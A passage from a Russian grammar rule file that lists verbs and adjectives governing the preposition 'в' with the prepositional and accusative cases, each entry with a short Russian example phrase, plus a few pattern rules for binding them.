фотон, поглощенный в рецепторе rus_verbs:стоять{}, // войска, стоявшие в Риме rus_verbs:закалить{}, // ветераны, закаленные в боях rus_verbs:выступать{}, // пришлось выступать в тюрьме. rus_verbs:выступить{}, // пришлось выступить в тюрьме. rus_verbs:закопошиться{}, // Мыши закопошились в траве rus_verbs:воспламениться{}, // смесь, воспламенившаяся в цилиндре rus_verbs:воспламеняться{}, // смесь, воспламеняющаяся в цилиндре rus_verbs:закрываться{}, // закрываться в комнате rus_verbs:провалиться{}, // провалиться в прокате деепричастие:авторизируясь{ вид:несоверш }, глагол:авторизироваться{ вид:несоверш }, инфинитив:авторизироваться{ вид:несоверш }, // авторизироваться в системе rus_verbs:существовать{}, // существовать в вакууме деепричастие:находясь{}, прилагательное:находившийся{}, прилагательное:находящийся{}, глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, // находиться в вакууме rus_verbs:регистрировать{}, // регистрировать в инспекции глагол:перерегистрировать{ вид:несоверш }, глагол:перерегистрировать{ вид:соверш }, инфинитив:перерегистрировать{ вид:несоверш }, инфинитив:перерегистрировать{ вид:соверш }, // перерегистрировать в инспекции rus_verbs:поковыряться{}, // поковыряться в носу rus_verbs:оттаять{}, // оттаять в кипятке rus_verbs:распинаться{}, // распинаться в проклятиях rus_verbs:отменить{}, // Министерство связи предлагает отменить внутренний роуминг в России rus_verbs:столкнуться{}, // Американский эсминец и японский танкер столкнулись в Персидском заливе rus_verbs:ценить{}, // Он очень ценил в статьях краткость изложения. прилагательное:несчастный{}, // Он очень несчастен в семейной жизни. rus_verbs:объясниться{}, // Он объяснился в любви. прилагательное:нетвердый{}, // Он нетвёрд в истории. rus_verbs:заниматься{}, // Он занимается в читальном зале. rus_verbs:вращаться{}, // Он вращается в учёных кругах. прилагательное:спокойный{}, // Он был спокоен и уверен в завтрашнем дне. rus_verbs:бегать{}, // Он бегал по городу в поисках квартиры. rus_verbs:заключать{}, // Письмо заключало в себе очень важные сведения. rus_verbs:срабатывать{}, // Алгоритм срабатывает в половине случаев. rus_verbs:специализироваться{}, // мы специализируемся в создании ядерного оружия rus_verbs:сравниться{}, // Никто не может сравниться с ним в знаниях. rus_verbs:продолжать{}, // Продолжайте в том же духе. rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц. rus_verbs:болтать{}, // Не болтай в присутствии начальника! rus_verbs:проболтаться{}, // Не проболтайся в присутствии начальника! rus_verbs:повторить{}, // Он должен повторить свои показания в присутствии свидетелей rus_verbs:получить{}, // ректор поздравил студентов, получивших в этом семестре повышенную стипендию rus_verbs:приобретать{}, // Эту еду мы приобретаем в соседнем магазине. rus_verbs:расходиться{}, // Маша и Петя расходятся во взглядах rus_verbs:сходиться{}, // Все дороги сходятся в Москве rus_verbs:убирать{}, // убирать в комнате rus_verbs:удостоверяться{}, // он удостоверяется в личности специалиста rus_verbs:уединяться{}, // уединяться в пустыне rus_verbs:уживаться{}, // уживаться в одном коллективе rus_verbs:укорять{}, // укорять друга в забывчивости rus_verbs:читать{}, // он читал об этом в журнале rus_verbs:состояться{}, // В Израиле состоятся досрочные парламентские выборы rus_verbs:погибнуть{}, // Список погибших в авиакатастрофе под Ярославлем rus_verbs:работать{}, // Я работаю в театре. rus_verbs:признать{}, // Я признал в нём старого друга. rus_verbs:преподавать{}, // Я преподаю в университете. rus_verbs:понимать{}, // Я плохо понимаю в живописи. rus_verbs:водиться{}, // неизвестный науке зверь, который водится в жарких тропических лесах rus_verbs:разразиться{}, // В Москве разразилась эпидемия гриппа rus_verbs:замереть{}, // вся толпа замерла в восхищении rus_verbs:сидеть{}, // Я люблю сидеть в этом удобном кресле. rus_verbs:идти{}, // Я иду в неопределённом направлении. rus_verbs:заболеть{}, // Я заболел в дороге. rus_verbs:ехать{}, // Я еду в автобусе rus_verbs:взять{}, // Я взял книгу в библиотеке на неделю. rus_verbs:провести{}, // Юные годы он провёл в Италии. rus_verbs:вставать{}, // Этот случай живо встаёт в моей памяти. rus_verbs:возвысить{}, // Это событие возвысило его в общественном мнении. rus_verbs:произойти{}, // Это произошло в одном городе в Японии. rus_verbs:привидеться{}, // Это мне привиделось во сне. rus_verbs:держаться{}, // Это дело держится в большом секрете. rus_verbs:привиться{}, // Это выражение не привилось в русском языке. rus_verbs:восстановиться{}, // Эти писатели восстановились в правах. rus_verbs:быть{}, // Эта книга есть в любом книжном магазине. прилагательное:популярный{}, // Эта идея очень популярна в массах. rus_verbs:шуметь{}, // Шумит в голове. rus_verbs:остаться{}, // Шляпа осталась в поезде. rus_verbs:выражаться{}, // Характер писателя лучше всего выражается в его произведениях. rus_verbs:воспитать{}, // Учительница воспитала в детях любовь к природе. rus_verbs:пересохнуть{}, // У меня в горле пересохло. rus_verbs:щекотать{}, // У меня в горле щекочет. rus_verbs:колоть{}, // У меня в боку колет. прилагательное:свежий{}, // Событие ещё свежо в памяти. rus_verbs:собрать{}, // Соберите всех учеников во дворе. rus_verbs:белеть{}, // Снег белеет в горах. rus_verbs:сделать{}, // Сколько орфографических ошибок ты сделал в диктанте? rus_verbs:таять{}, // Сахар тает в кипятке. rus_verbs:жать{}, // Сапог жмёт в подъёме. rus_verbs:возиться{}, // Ребята возятся в углу. rus_verbs:распоряжаться{}, // Прошу не распоряжаться в чужом доме. rus_verbs:кружиться{}, // Они кружились в вальсе. rus_verbs:выставлять{}, // Они выставляют его в смешном виде. rus_verbs:бывать{}, // Она часто бывает в обществе. rus_verbs:петь{}, // Она поёт в опере. rus_verbs:сойтись{}, // Все свидетели сошлись в своих показаниях. rus_verbs:валяться{}, // Вещи валялись в беспорядке. rus_verbs:пройти{}, // Весь день прошёл в беготне. rus_verbs:продавать{}, // В этом магазине продают обувь. rus_verbs:заключаться{}, // В этом заключается вся сущность. rus_verbs:звенеть{}, // В ушах звенит. rus_verbs:проступить{}, // В тумане проступили очертания корабля. rus_verbs:бить{}, // В саду бьёт фонтан. rus_verbs:проскользнуть{}, // В речи проскользнул упрёк. rus_verbs:оставить{}, // Не оставь товарища в опасности. rus_verbs:прогулять{}, // Мы прогуляли час в парке. rus_verbs:перебить{}, // Мы перебили врагов в бою. rus_verbs:остановиться{}, // Мы остановились в первой попавшейся гостинице. rus_verbs:видеть{}, // Он многое видел в жизни. // глагол:проходить{ вид:несоверш }, // Беседа проходила в дружественной атмосфере. rus_verbs:подать{}, // Автор подал своих героев в реалистических тонах. rus_verbs:кинуть{}, // Он кинул меня в беде. rus_verbs:приходить{}, // Приходи в сентябре rus_verbs:воскрешать{}, // воскрешать в памяти rus_verbs:соединять{}, // соединять в себе rus_verbs:разбираться{}, // умение разбираться в вещах rus_verbs:делать{}, // В её комнате делали обыск. rus_verbs:воцариться{}, // В зале воцарилась глубокая тишина. rus_verbs:начаться{}, // В деревне начались полевые работы. rus_verbs:блеснуть{}, // В голове блеснула хорошая мысль. rus_verbs:вертеться{}, // В голове вертится вчерашний разговор. rus_verbs:веять{}, // В воздухе веет прохладой. rus_verbs:висеть{}, // В воздухе висит зной. rus_verbs:носиться{}, // В воздухе носятся комары. rus_verbs:грести{}, // Грести в спокойной воде будет немного легче, но скучнее rus_verbs:воскресить{}, // воскресить в памяти rus_verbs:поплавать{}, // поплавать в 100-метровом бассейне rus_verbs:пострадать{}, // В массовой драке пострадал 23-летний мужчина прилагательное:уверенный{ причастие }, // Она уверена в своих силах. прилагательное:постоянный{}, // Она постоянна во вкусах. прилагательное:сильный{}, // Он не силён в математике. прилагательное:повинный{}, // Он не повинен в этом. прилагательное:возможный{}, // Ураганы, сильные грозы и даже смерчи возможны в конце периода сильной жары rus_verbs:вывести{}, // способный летать над землей крокодил был выведен в секретной лаборатории прилагательное:нужный{}, // сковородка тоже нужна в хозяйстве. rus_verbs:сесть{}, // Она села в тени rus_verbs:заливаться{}, // в нашем парке заливаются соловьи rus_verbs:разнести{}, // В лесу огонь пожара мгновенно разнесло rus_verbs:чувствоваться{}, // В тёплом, но сыром воздухе остро чувствовалось дыхание осени // rus_verbs:расти{}, // дерево, растущее в лесу rus_verbs:происходить{}, // что происходит в поликлиннике rus_verbs:спать{}, // кто спит в моей кровати rus_verbs:мыть{}, // мыть машину в саду ГЛ_ИНФ(царить), // В воздухе царило безмолвие ГЛ_ИНФ(мести), // мести в прихожей пол ГЛ_ИНФ(прятать), // прятать в яме ГЛ_ИНФ(увидеть), прилагательное:увидевший{}, деепричастие:увидев{}, // увидел периодическую таблицу элементов во сне. // ГЛ_ИНФ(собраться), // собраться в порту ГЛ_ИНФ(случиться), // что-то случилось в больнице ГЛ_ИНФ(зажечься), // в небе зажглись звёзды ГЛ_ИНФ(купить), // купи молока в магазине прилагательное:пропагандировавшийся{} // группа студентов университета дружбы народов, активно пропагандировавшейся в СССР } // Чтобы разрешить связывание в паттернах типа: пообедать в macdonalds fact гл_предл { if context { Гл_В_Предл предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_В_Предл предлог:в{} *:*{ падеж:предл } } then return true } // С локативом: // собраться в порту fact гл_предл { if context { Гл_В_Предл предлог:в{} существительное:*{ падеж:мест } } then return true } #endregion Предложный #region Винительный // Для глаголов движения с выраженным направлением действия может присоединяться // предложный паттерн с винительным падежом. wordentry_set Гл_В_Вин = { rus_verbs:вдавиться{}, // Дуло больно вдавилось в позвонок. глагол:ввергнуть{}, // Двух прелестнейших дам он ввергнул в горе. глагол:ввергать{}, инфинитив:ввергнуть{}, инфинитив:ввергать{}, rus_verbs:двинуться{}, // Двинулись в путь и мы. rus_verbs:сплавать{}, // Сплавать в Россию! rus_verbs:уложиться{}, // Уложиться в воскресенье. rus_verbs:спешить{}, // Спешите в Лондон rus_verbs:кинуть{}, // Киньте в море. rus_verbs:проситься{}, // Просилась в Никарагуа. rus_verbs:притопать{}, // Притопал в Будапешт. rus_verbs:скататься{}, // Скатался в Красноярск. rus_verbs:соскользнуть{}, // Соскользнул в пике. rus_verbs:соскальзывать{}, rus_verbs:играть{}, // Играл в дутье. глагол:айда{}, // Айда в каморы. rus_verbs:отзывать{}, // Отзывали в Москву... rus_verbs:сообщаться{}, // Сообщается в Лондон. rus_verbs:вдуматься{}, // Вдумайтесь в них. rus_verbs:проехать{}, // Проехать в Лунево... rus_verbs:спрыгивать{}, // Спрыгиваем в него. rus_verbs:верить{}, // Верю в вас! rus_verbs:прибыть{}, // Прибыл в Подмосковье. rus_verbs:переходить{}, // Переходите в школу. rus_verbs:доложить{}, // Доложили в Москву. rus_verbs:подаваться{}, // Подаваться в Россию? rus_verbs:спрыгнуть{}, // Спрыгнул в него. rus_verbs:вывезти{}, // Вывезли в Китай. rus_verbs:пропихивать{}, // Я очень аккуратно пропихивал дуло в ноздрю. rus_verbs:пропихнуть{}, rus_verbs:транспортироваться{}, rus_verbs:закрадываться{}, // в голову начали закрадываться кое-какие сомнения и подозрения rus_verbs:дуть{}, rus_verbs:БОГАТЕТЬ{}, // rus_verbs:РАЗБОГАТЕТЬ{}, // rus_verbs:ВОЗРАСТАТЬ{}, // rus_verbs:ВОЗРАСТИ{}, // rus_verbs:ПОДНЯТЬ{}, // Он поднял половинку самолета в воздух и на всей скорости повел ее к горам. (ПОДНЯТЬ) rus_verbs:ОТКАТИТЬСЯ{}, // Услышав за спиной дыхание, он прыгнул вперед и откатился в сторону, рассчитывая ускользнуть от врага, нападавшего сзади (ОТКАТИТЬСЯ) rus_verbs:ВПЛЕТАТЬСЯ{}, // В общий смрад вплеталось зловонье пены, летевшей из пастей, и крови из легких (ВПЛЕТАТЬСЯ) rus_verbs:ЗАМАНИТЬ{}, // Они подумали, что Павел пытается заманить их в зону обстрела. (ЗАМАНИТЬ,ЗАМАНИВАТЬ) rus_verbs:ЗАМАНИВАТЬ{}, rus_verbs:ПРОТРУБИТЬ{}, // Эти врата откроются, когда он протрубит в рог, и пропустят его в другую вселенную. (ПРОТРУБИТЬ) rus_verbs:ВРУБИТЬСЯ{}, // Клинок сломался, не врубившись в металл. (ВРУБИТЬСЯ/ВРУБАТЬСЯ) rus_verbs:ВРУБАТЬСЯ{}, rus_verbs:ОТПРАВИТЬ{}, // Мы ищем благородного вельможу, который нанял бы нас или отправил в рыцарский поиск. (ОТПРАВИТЬ) rus_verbs:ОБЛАЧИТЬ{}, // Этот был облачен в сверкавшие красные доспехи с опущенным забралом и держал огромное копье, дожидаясь своей очереди. (ОБЛАЧИТЬ/ОБЛАЧАТЬ/ОБЛАЧИТЬСЯ/ОБЛАЧАТЬСЯ/НАРЯДИТЬСЯ/НАРЯЖАТЬСЯ) rus_verbs:ОБЛАЧАТЬ{}, rus_verbs:ОБЛАЧИТЬСЯ{}, rus_verbs:ОБЛАЧАТЬСЯ{}, rus_verbs:НАРЯДИТЬСЯ{}, rus_verbs:НАРЯЖАТЬСЯ{}, rus_verbs:ЗАХВАТИТЬ{}, // Кроме набранного рабского материала обычного типа, он захватил в плен группу очень странных созданий, а также женщину исключительной красоты (ЗАХВАТИТЬ/ЗАХВАТЫВАТЬ/ЗАХВАТ) rus_verbs:ЗАХВАТЫВАТЬ{}, rus_verbs:ПРОВЕСТИ{}, // Он провел их в маленькое святилище позади штурвала. (ПРОВЕСТИ) rus_verbs:ПОЙМАТЬ{}, // Их можно поймать в ловушку (ПОЙМАТЬ) rus_verbs:СТРОИТЬСЯ{}, // На вершине они остановились, строясь в круг. (СТРОИТЬСЯ,ПОСТРОИТЬСЯ,ВЫСТРОИТЬСЯ) rus_verbs:ПОСТРОИТЬСЯ{}, rus_verbs:ВЫСТРОИТЬСЯ{}, rus_verbs:ВЫПУСТИТЬ{}, // Несколько стрел, выпущенных в преследуемых, вонзились в траву (ВЫПУСТИТЬ/ВЫПУСКАТЬ) rus_verbs:ВЫПУСКАТЬ{}, rus_verbs:ВЦЕПЛЯТЬСЯ{}, // Они вцепляются тебе в горло. (ВЦЕПЛЯТЬСЯ/ВЦЕПИТЬСЯ) rus_verbs:ВЦЕПИТЬСЯ{}, rus_verbs:ПАЛЬНУТЬ{}, // Вольф вставил в тетиву новую стрелу и пальнул в белое брюхо (ПАЛЬНУТЬ) rus_verbs:ОТСТУПИТЬ{}, // Вольф отступил в щель. (ОТСТУПИТЬ/ОТСТУПАТЬ) rus_verbs:ОТСТУПАТЬ{}, rus_verbs:КРИКНУТЬ{}, // Вольф крикнул в ответ и медленно отступил от птицы. (КРИКНУТЬ) rus_verbs:ДЫХНУТЬ{}, // В лицо ему дыхнули винным перегаром. (ДЫХНУТЬ) rus_verbs:ПОТРУБИТЬ{}, // Я видел рог во время своих скитаний по дворцу и даже потрубил в него (ПОТРУБИТЬ) rus_verbs:ОТКРЫВАТЬСЯ{}, // Некоторые врата открывались в другие вселенные (ОТКРЫВАТЬСЯ) rus_verbs:ТРУБИТЬ{}, // А я трубил в рог (ТРУБИТЬ) rus_verbs:ПЫРНУТЬ{}, // Вольф пырнул его в бок. (ПЫРНУТЬ) rus_verbs:ПРОСКРЕЖЕТАТЬ{}, // Тот что-то проскрежетал в ответ, а затем наорал на него. (ПРОСКРЕЖЕТАТЬ В вин, НАОРАТЬ НА вин) rus_verbs:ИМПОРТИРОВАТЬ{}, // импортировать товары двойного применения только в Российскую Федерацию (ИМПОРТИРОВАТЬ) rus_verbs:ОТЪЕХАТЬ{}, // Легкий грохот катков заглушил рог, когда дверь отъехала в сторону. (ОТЪЕХАТЬ) rus_verbs:ПОПЛЕСТИСЬ{}, // Подобрав нижнее белье, носки и ботинки, он поплелся по песку обратно в джунгли. (ПОПЛЕЛСЯ) rus_verbs:СЖАТЬСЯ{}, // Желудок у него сжался в кулак. (СЖАТЬСЯ, СЖИМАТЬСЯ) rus_verbs:СЖИМАТЬСЯ{}, rus_verbs:проверять{}, // Школьников будут принудительно проверять на курение rus_verbs:ПОТЯНУТЬ{}, // Я потянул его в кино (ПОТЯНУТЬ) rus_verbs:ПЕРЕВЕСТИ{}, // Премьер-министр Казахстана поручил до конца года перевести все социально-значимые услуги в электронный вид (ПЕРЕВЕСТИ) rus_verbs:КРАСИТЬ{}, // Почему китайские партийные боссы красят волосы в черный цвет? (КРАСИТЬ/ПОКРАСИТЬ/ПЕРЕКРАСИТЬ/ОКРАСИТЬ/ЗАКРАСИТЬ) rus_verbs:ПОКРАСИТЬ{}, // rus_verbs:ПЕРЕКРАСИТЬ{}, // rus_verbs:ОКРАСИТЬ{}, // rus_verbs:ЗАКРАСИТЬ{}, // rus_verbs:СООБЩИТЬ{}, // Мужчина ранил человека в щеку и сам сообщил об этом в полицию (СООБЩИТЬ) rus_verbs:СТЯГИВАТЬ{}, // Но толщина пузыря постоянно меняется из-за гравитации, которая стягивает жидкость в нижнюю часть (СТЯГИВАТЬ/СТЯНУТЬ/ЗАТЯНУТЬ/ВТЯНУТЬ) rus_verbs:СТЯНУТЬ{}, // rus_verbs:ЗАТЯНУТЬ{}, // rus_verbs:ВТЯНУТЬ{}, // rus_verbs:СОХРАНИТЬ{}, // сохранить данные в файл (СОХРАНИТЬ) деепричастие:придя{}, // Немного придя в себя rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал rus_verbs:УЛЫБАТЬСЯ{}, // она улыбалась во весь рот (УЛЫБАТЬСЯ) rus_verbs:МЕТНУТЬСЯ{}, // она метнулась обратно во тьму (МЕТНУТЬСЯ) rus_verbs:ПОСЛЕДОВАТЬ{}, // большинство жителей города последовало за ним во дворец (ПОСЛЕДОВАТЬ) rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // экстремисты перемещаются из лесов в Сеть (ПЕРЕМЕЩАТЬСЯ) rus_verbs:ВЫТАЩИТЬ{}, // Алексей позволил вытащить себя через дверь во тьму (ВЫТАЩИТЬ) rus_verbs:СЫПАТЬСЯ{}, // внизу под ними камни градом сыпались во двор (СЫПАТЬСЯ) rus_verbs:выезжать{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку rus_verbs:КРИЧАТЬ{}, // ей хотелось кричать во весь голос (КРИЧАТЬ В вин) rus_verbs:ВЫПРЯМИТЬСЯ{}, // волк выпрямился во весь огромный рост (ВЫПРЯМИТЬСЯ В вин) rus_verbs:спрятать{}, // Джон спрятал очки во внутренний карман (спрятать в вин) rus_verbs:ЭКСТРАДИРОВАТЬ{}, // Украина экстрадирует в Таджикистан задержанного бывшего премьер-министра (ЭКСТРАДИРОВАТЬ В вин) rus_verbs:ВВОЗИТЬ{}, // лабораторный мониторинг ввозимой в Россию мясной продукции из США (ВВОЗИТЬ В вин) rus_verbs:УПАКОВАТЬ{}, // упакованных в несколько слоев полиэтилена (УПАКОВАТЬ В вин) rus_verbs:ОТТЯГИВАТЬ{}, // использовать естественную силу гравитации, оттягивая объекты в сторону и изменяя их орбиту (ОТТЯГИВАТЬ В вин) rus_verbs:ПОЗВОНИТЬ{}, // они позвонили в отдел экологии городской администрации (ПОЗВОНИТЬ В) rus_verbs:ПРИВЛЕЧЬ{}, // Открытость данных о лесе поможет привлечь инвестиции в отрасль (ПРИВЛЕЧЬ В) rus_verbs:ЗАПРОСИТЬСЯ{}, // набегавшись и наплясавшись, Стасик утомился и запросился в кроватку (ЗАПРОСИТЬСЯ В) rus_verbs:ОТСТАВИТЬ{}, // бутыль с ацетоном Витька отставил в сторонку (ОТСТАВИТЬ В) rus_verbs:ИСПОЛЬЗОВАТЬ{}, // ты использовал свою магию во зло. (ИСПОЛЬЗОВАТЬ В вин) rus_verbs:ВЫСЕВАТЬ{}, // В апреле редис возможно уже высевать в грунт (ВЫСЕВАТЬ В) rus_verbs:ЗАГНАТЬ{}, // Американский психолог загнал любовь в три угла (ЗАГНАТЬ В) rus_verbs:ЭВОЛЮЦИОНИРОВАТЬ{}, // Почему не все обезьяны эволюционировали в человека? (ЭВОЛЮЦИОНИРОВАТЬ В вин) rus_verbs:СФОТОГРАФИРОВАТЬСЯ{}, // Он сфотографировался во весь рост. (СФОТОГРАФИРОВАТЬСЯ В) rus_verbs:СТАВИТЬ{}, // Он ставит мне в упрёк свою ошибку. (СТАВИТЬ В) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) rus_verbs:ПЕРЕСЕЛЯТЬСЯ{}, // Греки переселяются в Германию (ПЕРЕСЕЛЯТЬСЯ В) rus_verbs:ФОРМИРОВАТЬСЯ{}, // Сахарная свекла относится к двулетним растениям, мясистый корнеплод формируется в первый год. (ФОРМИРОВАТЬСЯ В) rus_verbs:ПРОВОРЧАТЬ{}, // дедуля что-то проворчал в ответ (ПРОВОРЧАТЬ В) rus_verbs:БУРКНУТЬ{}, // нелюдимый парень что-то буркнул в ответ (БУРКНУТЬ В) rus_verbs:ВЕСТИ{}, // дверь вела во тьму. (ВЕСТИ В) rus_verbs:ВЫСКОЧИТЬ{}, // беглецы выскочили во двор. (ВЫСКОЧИТЬ В) rus_verbs:ДОСЫЛАТЬ{}, // Одним движением стрелок досылает патрон в ствол (ДОСЫЛАТЬ В) rus_verbs:СЪЕХАТЬСЯ{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В) rus_verbs:ВЫТЯНУТЬ{}, // Дым вытянуло в трубу. (ВЫТЯНУТЬ В) rus_verbs:торчать{}, // острые обломки бревен торчали во все стороны. rus_verbs:ОГЛЯДЫВАТЬ{}, // Она оглядывает себя в зеркало. (ОГЛЯДЫВАТЬ В) rus_verbs:ДЕЙСТВОВАТЬ{}, // Этот пакет законов действует в ущерб частным предпринимателям. rus_verbs:РАЗЛЕТЕТЬСЯ{}, // люди разлетелись во все стороны. (РАЗЛЕТЕТЬСЯ В) rus_verbs:брызнуть{}, // во все стороны брызнула кровь. (брызнуть в) rus_verbs:ТЯНУТЬСЯ{}, // провода тянулись во все углы. (ТЯНУТЬСЯ В) rus_verbs:валить{}, // валить все в одну кучу (валить в) rus_verbs:выдвинуть{}, // его выдвинули в палату представителей (выдвинуть в) rus_verbs:карабкаться{}, // карабкаться в гору (карабкаться в) rus_verbs:клониться{}, // он клонился в сторону (клониться в) rus_verbs:командировать{}, // мы командировали нашего представителя в Рим (командировать в) rus_verbs:запасть{}, // Эти слова запали мне в душу. rus_verbs:давать{}, // В этой лавке дают в долг? rus_verbs:ездить{}, // Каждый день грузовик ездит в город. rus_verbs:претвориться{}, // Замысел претворился в жизнь. rus_verbs:разойтись{}, // Они разошлись в разные стороны. rus_verbs:выйти{}, // Охотник вышел в поле с ружьём. rus_verbs:отозвать{}, // Отзовите его в сторону и скажите ему об этом. rus_verbs:расходиться{}, // Маша и Петя расходятся в разные стороны rus_verbs:переодеваться{}, // переодеваться в женское платье rus_verbs:перерастать{}, // перерастать в массовые беспорядки rus_verbs:завязываться{}, // завязываться в узел rus_verbs:похватать{}, // похватать в руки rus_verbs:увлечь{}, // увлечь в прогулку по парку rus_verbs:помещать{}, // помещать в изолятор rus_verbs:зыркнуть{}, // зыркнуть в окошко rus_verbs:закатать{}, // закатать в асфальт rus_verbs:усаживаться{}, // усаживаться в кресло rus_verbs:загонять{}, // загонять в сарай rus_verbs:подбрасывать{}, // подбрасывать в воздух rus_verbs:телеграфировать{}, // телеграфировать в центр rus_verbs:вязать{}, // вязать в стопы rus_verbs:подлить{}, // подлить в огонь rus_verbs:заполучить{}, // заполучить в распоряжение rus_verbs:подогнать{}, // подогнать в док rus_verbs:ломиться{}, // ломиться в открытую дверь rus_verbs:переправить{}, // переправить в деревню rus_verbs:затягиваться{}, // затягиваться в трубу rus_verbs:разлетаться{}, // разлетаться в стороны rus_verbs:кланяться{}, // кланяться в ножки rus_verbs:устремляться{}, // устремляться в открытое море rus_verbs:переместиться{}, // переместиться в другую аудиторию rus_verbs:ложить{}, // ложить в ящик rus_verbs:отвозить{}, // отвозить в аэропорт rus_verbs:напрашиваться{}, // напрашиваться в гости rus_verbs:напроситься{}, // напроситься в гости rus_verbs:нагрянуть{}, // нагрянуть в гости rus_verbs:заворачивать{}, // заворачивать в фольгу rus_verbs:заковать{}, // заковать в кандалы rus_verbs:свезти{}, // свезти в сарай rus_verbs:притащиться{}, // притащиться в дом rus_verbs:завербовать{}, // завербовать в разведку rus_verbs:рубиться{}, // рубиться в компьютерные игры rus_verbs:тыкаться{}, // тыкаться в материнскую грудь инфинитив:ссыпать{ вид:несоверш }, инфинитив:ссыпать{ вид:соверш }, // ссыпать в контейнер глагол:ссыпать{ вид:несоверш }, глагол:ссыпать{ вид:соверш }, деепричастие:ссыпав{}, деепричастие:ссыпая{}, rus_verbs:засасывать{}, // засасывать в себя rus_verbs:скакнуть{}, // скакнуть в будущее rus_verbs:подвозить{}, // подвозить в театр rus_verbs:переиграть{}, // переиграть в покер rus_verbs:мобилизовать{}, // мобилизовать в действующую армию rus_verbs:залетать{}, // залетать в закрытое воздушное пространство rus_verbs:подышать{}, // подышать в трубочку rus_verbs:смотаться{}, // смотаться в институт rus_verbs:рассовать{}, // рассовать в кармашки rus_verbs:захаживать{}, // захаживать в дом инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять в ломбард деепричастие:сгоняя{}, rus_verbs:посылаться{}, // посылаться в порт rus_verbs:отлить{}, // отлить в кастрюлю rus_verbs:преобразоваться{}, // преобразоваться в линейное уравнение rus_verbs:поплакать{}, // поплакать в платочек rus_verbs:обуться{}, // обуться в сапоги rus_verbs:закапать{}, // закапать в глаза инфинитив:свозить{ вид:несоверш }, инфинитив:свозить{ вид:соверш }, // свозить в центр утилизации глагол:свозить{ вид:несоверш }, глагол:свозить{ вид:соверш }, деепричастие:свозив{}, деепричастие:свозя{}, rus_verbs:преобразовать{}, // преобразовать в линейное уравнение rus_verbs:кутаться{}, // кутаться в плед rus_verbs:смещаться{}, // смещаться в сторону rus_verbs:зазывать{}, // зазывать в свой магазин инфинитив:трансформироваться{ вид:несоверш }, инфинитив:трансформироваться{ вид:соверш }, // трансформироваться в комбинезон глагол:трансформироваться{ вид:несоверш }, глагол:трансформироваться{ вид:соверш }, деепричастие:трансформируясь{}, деепричастие:трансформировавшись{}, rus_verbs:погружать{}, // погружать в кипящее масло rus_verbs:обыграть{}, // обыграть в теннис rus_verbs:закутать{}, // закутать в одеяло rus_verbs:изливаться{}, // изливаться в воду rus_verbs:закатывать{}, // закатывать в асфальт rus_verbs:мотнуться{}, // мотнуться в банк rus_verbs:избираться{}, // избираться в сенат rus_verbs:наниматься{}, // наниматься в услужение rus_verbs:настучать{}, // настучать в органы rus_verbs:запихивать{}, // запихивать в печку rus_verbs:закапывать{}, // закапывать в нос rus_verbs:засобираться{}, // засобираться в поход rus_verbs:копировать{}, // копировать в другую папку rus_verbs:замуровать{}, // замуровать в стену rus_verbs:упечь{}, // упечь в тюрьму rus_verbs:зрить{}, // зрить в корень rus_verbs:стягиваться{}, // стягиваться в одну точку rus_verbs:усаживать{}, // усаживать в тренажер rus_verbs:протолкнуть{}, // протолкнуть в отверстие rus_verbs:расшибиться{}, // расшибиться в лепешку rus_verbs:приглашаться{}, // приглашаться в кабинет rus_verbs:садить{}, // садить в телегу rus_verbs:уткнуть{}, // уткнуть в подушку rus_verbs:протечь{}, // протечь в подвал rus_verbs:перегнать{}, // перегнать в другую страну rus_verbs:переползти{}, // переползти в тень rus_verbs:зарываться{}, // зарываться в грунт rus_verbs:переодеть{}, // переодеть в сухую одежду rus_verbs:припуститься{}, // припуститься в пляс rus_verbs:лопотать{}, // лопотать в микрофон rus_verbs:прогнусавить{}, // прогнусавить в микрофон rus_verbs:мочиться{}, // мочиться в штаны rus_verbs:загружать{}, // загружать в патронник rus_verbs:радировать{}, // радировать в центр rus_verbs:промотать{}, // промотать в конец rus_verbs:помчать{}, // помчать в школу rus_verbs:съезжать{}, // съезжать в кювет rus_verbs:завозить{}, // завозить в магазин rus_verbs:заявляться{}, // заявляться в школу rus_verbs:наглядеться{}, // наглядеться в зеркало rus_verbs:сворачиваться{}, // сворачиваться в клубочек rus_verbs:устремлять{}, // устремлять взор в будущее rus_verbs:забредать{}, // забредать в глухие уголки rus_verbs:перемотать{}, // перемотать в самое начало диалога rus_verbs:сморкаться{}, // сморкаться в носовой платочек rus_verbs:перетекать{}, // перетекать в другой сосуд rus_verbs:закачать{}, // закачать в шарик rus_verbs:запрятать{}, // запрятать в сейф rus_verbs:пинать{}, // пинать в живот rus_verbs:затрубить{}, // затрубить в горн rus_verbs:подглядывать{}, // подглядывать в замочную скважину инфинитив:подсыпать{ вид:соверш }, инфинитив:подсыпать{ вид:несоверш }, // подсыпать в питье глагол:подсыпать{ вид:соверш }, глагол:подсыпать{ вид:несоверш }, деепричастие:подсыпав{}, деепричастие:подсыпая{}, rus_verbs:засовывать{}, // засовывать в пенал rus_verbs:отрядить{}, // отрядить в командировку rus_verbs:справлять{}, // справлять в кусты rus_verbs:поторапливаться{}, // поторапливаться в самолет rus_verbs:скопировать{}, // скопировать в кэш rus_verbs:подливать{}, // подливать в огонь rus_verbs:запрячь{}, // запрячь в повозку rus_verbs:окраситься{}, // окраситься в пурпур rus_verbs:уколоть{}, // уколоть в шею rus_verbs:слететься{}, // слететься в гнездо rus_verbs:резаться{}, // резаться в карты rus_verbs:затесаться{}, // затесаться в ряды оппозиционеров инфинитив:задвигать{ вид:несоверш }, глагол:задвигать{ вид:несоверш }, // задвигать в ячейку (несоверш) деепричастие:задвигая{}, rus_verbs:доставляться{}, // доставляться в ресторан rus_verbs:поплевать{}, // поплевать в чашку rus_verbs:попереться{}, // попереться в магазин rus_verbs:хаживать{}, // хаживать в церковь rus_verbs:преображаться{}, // преображаться в королеву rus_verbs:организоваться{}, // организоваться в группу rus_verbs:ужалить{}, // ужалить в руку rus_verbs:протискиваться{}, // протискиваться в аудиторию rus_verbs:препроводить{}, // препроводить в закуток 